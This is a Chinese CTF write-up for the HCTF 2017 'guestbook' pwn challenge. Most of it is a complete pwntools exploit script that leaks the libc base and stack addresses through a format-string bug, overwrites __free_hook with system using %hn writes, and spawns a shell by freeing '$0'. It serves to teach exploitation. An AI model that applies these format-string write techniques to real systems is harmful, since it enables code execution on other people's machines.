guestbook

发表于 2021-01-21 分类于 Challenge， 2017， HCTF， Bin
Challenge | 2017 | HCTF | Bin | guestbook

点击此处获得更好的阅读体验

WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

- *利用ebp chain和fmt来实现任意地址写。*
- *对__free_hook的了解。*
- *对$0get shell的了解*

解题思路

```
from pwn import *

context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

bin = ELF('./guestbook')
libc = ELF('./libc.so')

def add(name,phone):
    cn.sendline('1')
    cn.recvuntil('OK,your guest index is ')
    idx = int(cn.recvuntil('\\n'))
    cn.recvuntil('?')
    cn.send(name)
    cn.recvuntil('?')
    cn.send(phone)
    cn.recvuntil('success!\\n')
    return idx

def see(idx):
    cn.sendline('2')
    cn.recvuntil('index:')
    cn.sendline(str(idx))
    cn.recvuntil('the name:')
    name = cn.recvuntil('\\n')
    cn.recvuntil('the phone:')
    phone = cn.recvuntil('\\n')
    cn.recvuntil('============')
    return [name,phone]

def delete(idx):
    cn.sendline('3')
    cn.recvuntil('index:')
    cn.sendline(str(idx))

def fmt(pay):
    idx = add(pay,'1111')
    see(idx)
    delete(idx)

def fmt2(pay):
    idx = add(pay,'1111')
    see(idx)

def z():
    gdb.attach(cn)
    raw_input()
cn = process('./guestbook')

```

```
idx = add('%3$x','0')
libc_base = int(see(idx)[0],16)-71 - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base+0x001B38B0
system = libc_base + libc.symbols['system']
success('libc_base: '+hex(libc_base))
success('free_hook: '+hex(free_hook))
success('system: '+hex(system))

idx = add('%72$x','1')
ebp_2 = int(see(idx)[0],16)# %80$x
ebp_1 = ebp_2-0x20# %72$x
ebp_3 = ebp_2+0x20# %88$x

success('ebp_1: '+hex(ebp_1))
success('ebp_2: '+hex(ebp_2))
success('ebp_3: '+hex(ebp_3))

pay = '%'+str((ebp_3+8)&0xffff)+'c%80$hn'
fmt(pay)

pay = '%'+str((ebp_3+2)&0xffff)+'c%72$hn'
fmt(pay)

pay = '%'+str(((ebp_3+8)&0xffff0000)>>16)+'c%80$hn'
fmt(pay)

pay = '%'+str((ebp_3)&0xffff)+'c%72$hn'
fmt(pay)

pay = '%'+str(free_hook&0xffff)+'c%88$hn'
fmt(pay)
#z()
pay = '%'+str(system&0xffff)+'c%90$hn'
fmt2(pay)

pay = '%'+str((free_hook&0xffff)+2)+'c%88$hn'
fmt2(pay)

pay = '%'+str((system&0xffff0000)>>16)+'c%90$hn'
fmt2(pay)

idx=add('get shell','$0\\x00')
delete(idx)

cn.interactive()
```

Flag

```
无
```


 # Challenge # 2017 # HCTF # Bin
ez_crackme
babyprintf